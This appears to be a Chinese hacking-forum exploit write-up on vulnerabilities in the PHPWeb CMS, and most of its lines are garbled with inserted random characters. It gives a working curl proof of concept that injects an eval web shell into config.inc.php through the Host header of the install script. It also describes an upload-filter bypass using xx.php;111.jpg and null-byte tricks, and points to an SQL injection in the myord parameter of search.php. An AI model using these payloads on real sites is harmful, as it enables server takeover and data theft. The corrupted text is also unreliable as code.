注入:
: C1 N2 x7 L! e* k7 n: a
/ X1 t# S/ f2 G" w F! D之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, d7 [3 @; N+ v; V
7 R. p: {' P: F
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
5 \9 C/ ]( h1 q( W* \0 ~2 c" c鸡肋2: 有一定安全常识的站长都会删掉 install 目录3 Y- t. j/ ?+ o! I5 X) e) S( M' m
% c# b7 x0 ]/ _! \
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响8 e1 m7 Q* F- l
/ u+ N7 a* D3 R" C8 \' p8 E6 P
分析:$ z$ R& `) X' q
\! U. g f. U& U, q6 |' X. W
( D5 z3 `7 [) t$ Y' n$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤% z+ h( ]1 W3 D" u
1 R4 Y; |& R6 D( G: x- e; E5 G $filestr = fread(fopen($SysConfigFile, 'r'),30000);; y. V( z( ]& m8 R" T
$filestr=str_replace(" ","",$filestr);
$ H M' X9 f5 _" ? $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# ]! C4 i/ c' R $filestr=str_replace("DefaultDbName",$dbname,$filestr);. i4 T: O" s8 o+ t# g" E( C. ]7 p: ~
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
) m+ c! e* X K2 Z9 r* z2 i $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);+ ^4 \ g" k" i( p- u
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
3 o% i9 x4 c; o8 l $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
0 a( C" s+ N( F& p7 H* G $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: _6 u3 S" f- e8 \) G% S$ e3 X- l % B2 V- [8 l* g1 A
fwrite(fopen($ConFile,"w"),$filestr,30000);, k, v9 `; v6 v8 F* _1 w
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^+ |3 b7 e: f8 a) J' K' c8 }4 u* A* Z
@4 t3 f: I Z3 A+ f! [* Tpoc:
! T$ t# S' K9 j9 U" x& B
, ]8 t" [6 H% M' w' L( n/ D) X9 X?, q* N! Z) V2 N* |5 q7 n6 `
1& B* a; E& D2 n4 [7 K0 {
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
4 o6 r$ M$ j0 A( B& q* }shell地址: /config.inc.php
, {3 G& V7 I7 k1 i2 c跟之前的 phpcms一样 需要远程数据库
/ N6 s. L5 J# Y+ A( N$ \3 E
- v% N! b- x7 Z- N! i4 _——————————————————–9 p4 }( n' l* G: F, ~, K# c
上传漏洞(需要进后台):
: N' p2 L, J& |$ @漏洞文件: /kedit/upload_cgi/upload.php
) r7 d! ~( H8 K9 w$ \2 \& u3 x这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用( i' u Q7 E `1 H
_. ]' }) t/ z+ {( f, m) m# w 7 i `# W" T |) K* l
<?php
4 ^" M: g9 V* ? define("ROOTPATH", "../../");
( S2 t- K+ a' h0 Y. a: o/ r include(ROOTPATH."includes/admin.inc.php");
! V. k- S- s8 j5 ^& V NeedAuth(0);1 f9 T5 Z4 X S# K
# t$ p- t: |4 X $dt=date("Ymd",time());7 U* e6 Z% i y3 E0 J3 ?7 S1 H8 s
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){* {! d: M- S0 B" b% h. ]6 I8 Q9 i
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* x; s% p! i* b& @" t3 m }
: K( {) o, j& H: O" {
9 [. S3 F: @0 l r( ~ //文件保存目录路径
7 Q3 L+ ]' J! _ $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
8 m3 e7 z3 U1 w1 Q% ?; f echo $save_path;
7 z0 Q0 `# b6 ~ //文件保存目录URL: m9 t' I! [" h8 s! C, b
$save_url = '../../'.$_POST['attachPath'].$dt.'/';3 V0 n% K2 J) _1 Z$ q+ _
, v! M- w- A( @* A //定义允许上传的文件扩展名
]. p# i2 ?( S( e1 k* a $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
@9 A8 t1 I V
' L! O3 x' H) T; r4 Q //最大文件大小
, r. Y* u4 C% b* M! K $max_size = 1000000;
: c* ~' Q" z5 Y- `" F/ `! S, G
# v# h& S' m; E) ~6 S //更改目录权限3 P2 e2 o! i5 [$ c! t$ X; W1 D
@mkdir($save_path, 0777);
; y- r+ J* ]# o* N4 a ( \: g# b* T/ E; y7 s" i: z W
//文件的全部路径
?4 v% C2 j, H $file_path = $save_path.$_POST['fileName']; //保存文件名- `8 U* | d, k2 b1 H
- ?8 t; f. J/ P6 n* j9 ] //文件URL
0 o5 Q1 {* f' q; D ] $file_url = $save_url.$_POST['fileName'];0 Y2 c. t7 v4 `
//有上传文件时' p* E: |8 D* ?" {$ [9 p$ ]& s. d7 q
if (empty($_FILES) === false) {! ?" i j Y. T/ V
: V1 o# |" z8 A //原文件名# d0 W/ w W5 j
$file_name = $_FILES['fileData']['name'];
& M5 @! G% {8 O* @; I* E, C0 h //服务器上临时文件名& |7 |/ I9 c: ^0 ^/ M% _8 }
$tmp_name = $_FILES['fileData']['tmp_name'];) X2 \9 W* [; @( Q# G: B
//文件大小$ m* o& Y2 X( t/ B
$file_size = $_FILES['fileData']['size'];- l1 X2 N8 W5 `% R3 V$ [3 G
//检查目录
+ w8 y/ U' B# @+ C& E' s& d1 } if (@is_dir($save_path) === false) {: ]% v- ~& S+ S& ]
alert("上传目录不存在。");& o; |. b1 p3 ?
}
/ V" d8 n2 a" W- E //检查目录写权限
( u0 J" L7 K3 T4 u, X; T+ ?5 G! O V# n if (@is_writable($save_path) === false) {
# M& _6 u& v s3 }& @ alert("上传目录没有写权限。");1 M7 _- U+ {# S7 t3 n0 }( C
}( @+ K/ v: C3 i; N
//检查是否已上传
3 r* L# L% i* W if (@is_uploaded_file($tmp_name) === false) {; i4 b7 w% F* i' \3 p, Y
alert("临时文件可能不是上传文件。");
* c, F- U, p/ ~* D" P }$ A3 B1 W7 X' a% K }; j" B
//检查文件大小
# Y# {" V9 P+ s- S if ($file_size > $max_size) {: J' n7 T& u* W/ Z2 x. {
alert("上传文件大小超过限制。");# ~: X" r9 W- b( B1 L% p
}5 z5 o- z6 \, n* l
//获得文件扩展名
. [8 M8 V- t- L8 P+ l* e4 M4 ? $temp_arr = explode(".", $_POST['fileName']);
5 u) s% n& d+ C; K7 e" b $file_ext = array_pop($temp_arr);# Y# G: @5 Y9 V" }! Q. H$ u
$file_ext = trim($file_ext);) E& h4 \( {1 F# n3 A3 k
$file_ext = strtolower($file_ext);
. Y8 J/ J8 f$ T ) H7 j1 r4 A# m/ R% C- ?' ]
//检查扩展名 ) F8 v8 D1 U9 V0 ? G( w
if (in_array($file_ext, $ext_arr) === false) {
! o, c. i3 N' p) |# X! \0 x alert("上传文件扩展名是不允许的扩展名。");
2 A: s# r" O. F! S }
5 x4 w; @' C" h
* Y( h1 n1 W# [. y* ~3 h5 D //移动文件
- ~ O& R% Y8 W& N( m. }8 C //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^0 g- A& I; s* w3 a" r
if (move_uploaded_file($tmp_name, $file_path) === false) {' k1 E0 w9 C2 O7 D* L& T
alert("上传文件失败。");8 f6 C+ w& Q+ |; |) P9 P
}
" y; K* O, n! M9 J. J- U $ E; }3 z& R* d
@chmod($file_path,0666);
" \) M" t6 r) `' }5 p' C- L
7 X$ }1 g \! ] ?>
S& U% I0 k( K抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2276 ^% y# }/ C) b' O; B( _* t
1 d& N0 D" {% h6 B% D5 B# x
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
: N& `: t6 m# y$ M. \9 U+ R
2 I; E( P- Y+ F- F; |——————————————————% k6 Y" |3 @$ `2 Z* o
注入漏洞:7 Q/ f7 ~; t2 w4 {5 t
漏洞文件:search/module/search.php
. J& O5 |# ?1 G: h9 i5 {& `/search/index.php?key=1&myord=1 [sqlinjection]( ]4 X: {; c3 v& W2 y
8 g7 D6 N( ?1 R" ]( i
2 W& h/ m, f( t! u<?php
* K! P& S" P7 T7 y. R // ... 省略 n 行...' G p; n* `3 }- X. `
//第18行:8 o! x' P) G7 E T4 e5 a @5 t2 k
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响9 x+ ~0 Q0 j* u4 O; U
$page=htmlspecialchars($_GET["page"]);6 ?9 r- I# c1 t0 P, s& u
$myord=htmlspecialchars($_GET["myord"]);) g" r e9 C: J8 b* }, s% j# u
& b* Z8 K0 N: P- e
// ... 省略 n 行...
# }& E! M. u5 U $key,$myord 两个参数带入查询9 |: Z* W B- J5 Y; B
//第47行 $key:& Y0 D. Q% m' M) F" c: \- ?
0 p6 J( X; w* E, K) ~! G
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
: \$ ^6 m; d9 b. l* s; k0 t ; [; Z8 b( V: i; l0 R% P* I+ m
//第197行 $myord
8 `+ v% j* t( h $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入" P) w- M5 G2 |1 e. g- K. o$ [% C
1 L' @$ W- L, j; }6 H ?>( j& p% g$ J5 V5 h' Q9 V5 s
|